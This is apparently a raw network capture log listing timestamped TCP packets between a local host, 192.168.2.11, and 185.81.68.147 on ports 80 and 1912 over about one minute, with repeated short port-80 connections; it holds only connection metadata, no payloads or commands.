Dec 13, 2024 08:19:17.590790033 CET	80	49798	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.841469049 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:17.846333027 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:17.966100931 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:18.279128075 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:18.287580013 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:18.407325983 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:18.720294952 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:18.762362957 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:18.801373959 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:18.837704897 CET	80	49798	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:18.837718964 CET	80	49798	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:18.837826967 CET	49798	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:18.839122057 CET	49798	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:18.921078920 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:18.949929953 CET	49804	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:18.960302114 CET	80	49798	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:19.069654942 CET	80	49804	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:19.071181059 CET	49804	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:19.071274996 CET	49804	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:19.191085100 CET	80	49804	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:19.191257954 CET	49804	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:19.233899117 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:19.276865005 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:19.310956955 CET	80	49804	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:19.998470068 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:20.118268013 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.431416035 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.481370926 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:20.489300966 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:20.609119892 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609143972 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609189987 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609261990 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609327078 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609337091 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609441042 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609450102 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609520912 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609529972 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609584093 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609734058 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609743118 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.609750986 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.711608887 CET	80	49804	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.711700916 CET	80	49804	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.711751938 CET	49804	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:20.713143110 CET	49804	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:20.825047970 CET	49810	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:20.832914114 CET	80	49804	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.944873095 CET	80	49810	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:20.944960117 CET	49810	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:20.945025921 CET	49810	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:21.042438030 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:21.064744949 CET	80	49810	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:21.064807892 CET	49810	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:21.072324038 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:21.184504986 CET	80	49810	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:21.192233086 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:21.507060051 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:21.558806896 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:21.938658953 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.058471918 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.371114969 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.382675886 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.502454042 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.541472912 CET	80	49810	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.541733027 CET	80	49810	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.544760942 CET	49810	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.561330080 CET	49810	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.678606033 CET	49812	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.681078911 CET	80	49810	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.799135923 CET	80	49812	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.803415060 CET	49812	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.806682110 CET	49812	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.815200090 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.819111109 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.927882910 CET	80	49812	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:22.927994967 CET	49812	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:22.939969063 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:23.047997952 CET	80	49812	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:23.251365900 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:23.252377987 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:23.373127937 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:23.686299086 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:23.725939035 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:24.422614098 CET	80	49812	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:24.422801018 CET	80	49812	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:24.422935963 CET	49812	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:24.424361944 CET	49812	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:24.528006077 CET	49818	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:24.544075966 CET	80	49812	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:24.649635077 CET	80	49818	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:24.649751902 CET	49818	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:24.650079966 CET	49818	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:24.769846916 CET	80	49818	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:24.769917011 CET	49818	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:24.889615059 CET	80	49818	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:26.106290102 CET	80	49818	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:26.106524944 CET	80	49818	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:26.106743097 CET	49818	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:26.108011961 CET	49818	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:26.215795994 CET	49823	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:26.227770090 CET	80	49818	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:26.335606098 CET	80	49823	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:26.335696936 CET	49823	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:26.335807085 CET	49823	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:26.455466986 CET	80	49823	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:26.455518961 CET	49823	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:26.576221943 CET	80	49823	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:27.946985960 CET	80	49823	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:27.947197914 CET	80	49823	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:27.947804928 CET	49823	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:27.948932886 CET	49823	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:28.059361935 CET	49829	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:28.068628073 CET	80	49823	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:28.179217100 CET	80	49829	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:28.179323912 CET	49829	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:28.179421902 CET	49829	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:28.299227953 CET	80	49829	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:28.299335003 CET	49829	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:28.419003010 CET	80	49829	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:29.788844109 CET	80	49829	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:29.788927078 CET	80	49829	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:29.789047956 CET	49829	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:29.790365934 CET	49829	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:29.903059959 CET	49835	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:29.910063028 CET	80	49829	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:30.022907019 CET	80	49835	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:30.023072958 CET	49835	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:30.023195028 CET	49835	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:30.142930031 CET	80	49835	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:30.143069983 CET	49835	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:30.262890100 CET	80	49835	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:31.467072964 CET	80	49835	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:31.467201948 CET	80	49835	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:31.467261076 CET	49835	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:31.468539000 CET	49835	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:31.575025082 CET	49837	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:31.588202000 CET	80	49835	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:31.694751978 CET	80	49837	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:31.696775913 CET	49837	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:31.696876049 CET	49837	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:31.816575050 CET	80	49837	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:31.816808939 CET	49837	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:31.936638117 CET	80	49837	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:33.167763948 CET	80	49837	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:33.167891979 CET	80	49837	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:33.167973995 CET	49837	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:33.179428101 CET	49837	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:33.299216986 CET	80	49837	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:33.328677893 CET	49843	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:33.448573112 CET	80	49843	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:33.448677063 CET	49843	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:33.448724031 CET	49843	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:33.568497896 CET	80	49843	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:33.568599939 CET	49843	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:33.688815117 CET	80	49843	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:34.928484917 CET	80	49843	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:34.928795099 CET	80	49843	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:34.928888083 CET	49843	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:34.930238008 CET	49843	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:35.044517040 CET	49848	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:35.050030947 CET	80	49843	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:35.164762974 CET	80	49848	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:35.164843082 CET	49848	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:35.164915085 CET	49848	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:35.285015106 CET	80	49848	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:35.285150051 CET	49848	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:35.405072927 CET	80	49848	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:36.796763897 CET	80	49848	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:36.796883106 CET	80	49848	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:36.796932936 CET	49848	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:36.798372030 CET	49848	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:36.903048038 CET	49854	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:36.954547882 CET	80	49848	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:37.195245981 CET	80	49854	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:37.195338011 CET	49854	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:37.195400953 CET	49854	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:37.315694094 CET	80	49854	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:37.315805912 CET	49854	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:37.435564995 CET	80	49854	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:38.826874971 CET	80	49854	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:38.826910019 CET	80	49854	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:38.827014923 CET	49854	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:38.832920074 CET	49854	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:38.948185921 CET	49861	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:38.952755928 CET	80	49854	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:39.069883108 CET	80	49861	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:39.069984913 CET	49861	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:39.073646069 CET	49861	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:39.193418026 CET	80	49861	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:39.193479061 CET	49861	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:39.313374996 CET	80	49861	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:40.733407021 CET	80	49861	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:40.733479977 CET	80	49861	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:40.733552933 CET	49861	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:40.734878063 CET	49861	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:40.840545893 CET	49867	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:40.855391979 CET	80	49861	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:40.960329056 CET	80	49867	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:40.960455894 CET	49867	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:40.960555077 CET	49867	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:41.080746889 CET	80	49867	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:41.080892086 CET	49867	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:41.201366901 CET	80	49867	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:42.574011087 CET	80	49867	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:42.574026108 CET	80	49867	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:42.574096918 CET	49867	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:42.575542927 CET	49867	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:42.684442997 CET	49873	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:42.695256948 CET	80	49867	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:42.804275990 CET	80	49873	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:42.804361105 CET	49873	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:42.804467916 CET	49873	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:42.924231052 CET	80	49873	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:42.924310923 CET	49873	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:43.044495106 CET	80	49873	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:44.261926889 CET	80	49873	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:44.262048960 CET	80	49873	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:44.262221098 CET	49873	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:44.263308048 CET	49873	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:44.372117996 CET	49875	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:44.383095980 CET	80	49873	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:44.492065907 CET	80	49875	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:44.492840052 CET	49875	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:44.494002104 CET	49875	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:44.613743067 CET	80	49875	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:44.615000963 CET	49875	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:44.734663963 CET	80	49875	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:46.104569912 CET	80	49875	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:46.104589939 CET	80	49875	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:46.104650974 CET	49875	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:46.106302977 CET	49875	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:46.215707064 CET	49880	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:46.226123095 CET	80	49875	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:46.335551977 CET	80	49880	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:46.335675955 CET	49880	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:46.335777044 CET	49880	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:46.455498934 CET	80	49880	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:46.455569983 CET	49880	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:46.575292110 CET	80	49880	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:47.786043882 CET	80	49880	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:47.786091089 CET	80	49880	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:47.786144972 CET	49880	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:47.791189909 CET	49880	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:47.910912991 CET	80	49880	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:47.941123009 CET	49886	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:48.060946941 CET	80	49886	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:48.061039925 CET	49886	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:48.061122894 CET	49886	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:48.180798054 CET	80	49886	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:48.180886984 CET	49886	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:48.300586939 CET	80	49886	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:49.698792934 CET	80	49886	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:49.698834896 CET	80	49886	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:49.698986053 CET	49886	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:49.700685024 CET	49886	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:49.809273005 CET	49892	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:49.820404053 CET	80	49886	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:49.929083109 CET	80	49892	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:49.929172039 CET	49892	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:49.929240942 CET	49892	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:50.048922062 CET	80	49892	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:50.049201012 CET	49892	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:50.169018030 CET	80	49892	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:51.539170980 CET	80	49892	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:51.539304972 CET	80	49892	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:51.539700985 CET	49892	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:51.540731907 CET	49892	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:51.652961969 CET	49898	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:51.660666943 CET	80	49892	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:51.772944927 CET	80	49898	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:51.773051977 CET	49898	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:51.773179054 CET	49898	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:51.892890930 CET	80	49898	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:51.893001080 CET	49898	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:52.012833118 CET	80	49898	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:53.417124033 CET	80	49898	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:53.417222977 CET	80	49898	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:53.417501926 CET	49898	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:53.418715954 CET	49898	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:53.528064013 CET	49904	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:53.538362026 CET	80	49898	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:53.647938967 CET	80	49904	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:53.650888920 CET	49904	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:53.650963068 CET	49904	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:53.770639896 CET	80	49904	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:53.770747900 CET	49904	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:53.890813112 CET	80	49904	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:55.098115921 CET	80	49904	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:55.098268986 CET	80	49904	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:55.098328114 CET	49904	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:55.099457979 CET	49904	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:55.215802908 CET	49905	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:55.219120979 CET	80	49904	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:55.335475922 CET	80	49905	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:55.335582018 CET	49905	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:55.335654974 CET	49905	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:55.455286026 CET	80	49905	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:55.455348015 CET	49905	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:55.575043917 CET	80	49905	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:56.791726112 CET	80	49905	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:56.791866064 CET	80	49905	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:56.791918039 CET	49905	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:56.794111967 CET	49905	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:56.903171062 CET	49911	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:56.913798094 CET	80	49905	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:57.022910118 CET	80	49911	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:57.023031950 CET	49911	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:57.023049116 CET	49911	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:57.142868042 CET	80	49911	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:57.142934084 CET	49911	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:57.263647079 CET	80	49911	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:58.460819960 CET	80	49911	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:58.461002111 CET	80	49911	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:58.461050987 CET	49911	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:58.462372065 CET	49911	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:58.582093000 CET	80	49911	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:58.611733913 CET	49917	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:58.731515884 CET	80	49917	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:58.731632948 CET	49917	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:58.733786106 CET	49917	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:58.853533983 CET	80	49917	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:58.856148958 CET	49917	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:58.975990057 CET	80	49917	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:00.374104977 CET	80	49917	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:00.374298096 CET	80	49917	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:00.374420881 CET	49917	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:00.376017094 CET	49917	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:00.482191086 CET	49923	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:00.495681047 CET	80	49917	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:00.601942062 CET	80	49923	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:00.603764057 CET	49923	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:00.603835106 CET	49923	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:00.723536015 CET	80	49923	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:00.724796057 CET	49923	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:00.844552994 CET	80	49923	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:02.051659107 CET	80	49923	185.81.68.147	192.168.2.11
